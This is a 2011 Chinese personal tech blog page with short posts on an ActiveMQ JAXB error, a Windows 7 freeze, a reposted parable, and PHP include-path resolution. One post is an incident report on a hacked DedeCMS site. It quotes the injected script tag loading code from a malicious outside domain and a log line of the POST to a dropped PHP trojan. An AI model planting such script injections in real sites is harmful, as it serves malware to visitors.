Activemq在windows jdk1.6下启动报错的原因

2011年9月12日 没有评论

  下载最新版的ActiveMq启动后报如下错误:
org.springframework.beans.factory.parsing.BeanDefinitionParsingException: Configuration problem: Failed to import bean definitions from URL location [file:F:\apache-activemq-5.5.0\bin\../conf/camel.xml]
Offending resource: ServletContext resource [/WEB-INF/applicationContext.xml]; nested exception is org.springframework.beans.factory.BeanDefinitionStoreException: Unexpected exception parsing XML document from URL [file:F:/apache-activemq-5.5.0/bin/../conf/camel.xml]; nested exception is java.lang.LinkageError: JAXB 2.0 API is being loaded from the bootstrap classloader, but this RI (from jar:file:/F:/apache-activemq-5.5.0/bin/../lib/jaxb-impl-2.1.6.jar!/com/sun/xml/bind/v2/model/impl/ModelBuilder.class) needs 2.1 API. Use the endorsed directory mechanism to place jaxb-api.jar in the bootstrap classloader. (See http://java.sun.com/j2se/1.5.0/docs/guide/standards/)

通过搜索引擎发现大多数解决方案是在适当的位置添加endorsed 目录并加入jaxb-api.jar文件,但在activemq上不能方便的找到endrosed的具体位置。后来通过搜索发现其实在java1.6中已经集成了jaxb所以只需要删除jaxb-api-2.1.jar和jaxb-impl-2.1.jar这两包即可解决问题。

分类: 高级民工 标签: ,

解决WIN7假死硬盘灯常亮

2011年6月19日 1 条评论

  在使用win7时每天系统总要假死几次,情况发生在看网页,玩dota游戏时没有固定的时间或可重现的方法。系统假死时硬盘灯常亮,在假死开始时几秒可以移动鼠标。猜测于硬盘读写有关系。通过实验安装 Intel(R) Matrix Storage Manager 后症状消除,到目前位置再也没出现假死的情况了。

分类: 高级民工 标签:

一个php木马的解密

2011年3月30日 1 条评论

一个朋友的dede站点首页被插入
<script src=”<script src=”http://welcometotheglobalisorg.com/nl.php?p=1″></script>\n
怀疑是被黑了。通过分析日志发现了一条可疑的post提交记录

66.96.128.62 – - [28/Mar/2011:05:33:14 -0700] “POST /data/affection_gris.php HTTP/1.1″ 200 143 “-” “-”

文件affection_gris.php是加密后的文件。
文件源码与解密后的文件:code

google搜索后发现也有部分人遇到这个问题,检测日志也未发现最近几天有可疑的访问dede的记录,似乎affection_gris.php文件突然之间就出现在了网站目录里,所以怀疑是服务器问题,服务器使用的是dreamhost。。另外还遇到个奇怪的问题,我本来想把文件内容直接发布到这篇文章中,但提交的时候总是出现500错误,不知道是wordpress的问题,还是dreamhost服务器的原因。

分类: 高级民工 标签: ,

[转] 悟空与佛祖的哲理对话

2011年3月24日 1 条评论

有一天,悟空问佛祖:什么是爱情?
佛祖说:我请你穿越这片稻田,去摘一株最大最金黄的麦穗回来,但是有个规则:你不能走回头路,而且你只能摘一次。
于是悟空去做了。许久之后,他却空着手回来了。
佛祖问他怎么空手回来了?
悟空说道:当我走在田间的时候,曾看到过几株特别大特别灿烂的麦穗,可是,我总想着前面也许会有更大更好的,于是没有摘;但

是,我继续走的时候,看到的麦穗,总觉得还不如先前看到的好,所以我最后什么都没有摘到。。。
佛祖意味深长地说:这,就是爱情。
阅读全文…

分类: 生活 标签:

PHP包含中路径的确定

2011年3月23日 没有评论

  在php包含中存在一种相对特殊的包含方式,这种方式会根据情况选择实际的包含文件。

  比如有这样一个包含关系:a.php包含xx/b.php,xx/b.php包含同目录下的c.php(相对a.php的路径为xx/c.php)。入口是a.php,如果在a.php同目录下存在一个名为c.php的文件,那么此时真正包含的应该是位于a.php同目录下的c.php,而不是xx/c.php。实际上这种包含关系会首先以入口文件目录为工作目录查找是否存在包含的文件,如果存在则包含并退出,如果不存在则依次查找到含有具体包含代码的文件的目录,即这个例子中的xx/目录。

  一个更具体的例子:在wordpress中的wp-content/themes/default(如果存在default这个主题),在index.php中include ‘x.php’;并在这个目录下创建x.php,写入几个符号,再到wordpress的根目录下床x.php,访问主题你就会发现实际主题index.php包含的是wordpress根目录下载x.php而非主题中的x.php。

分类: 高级民工 标签: ,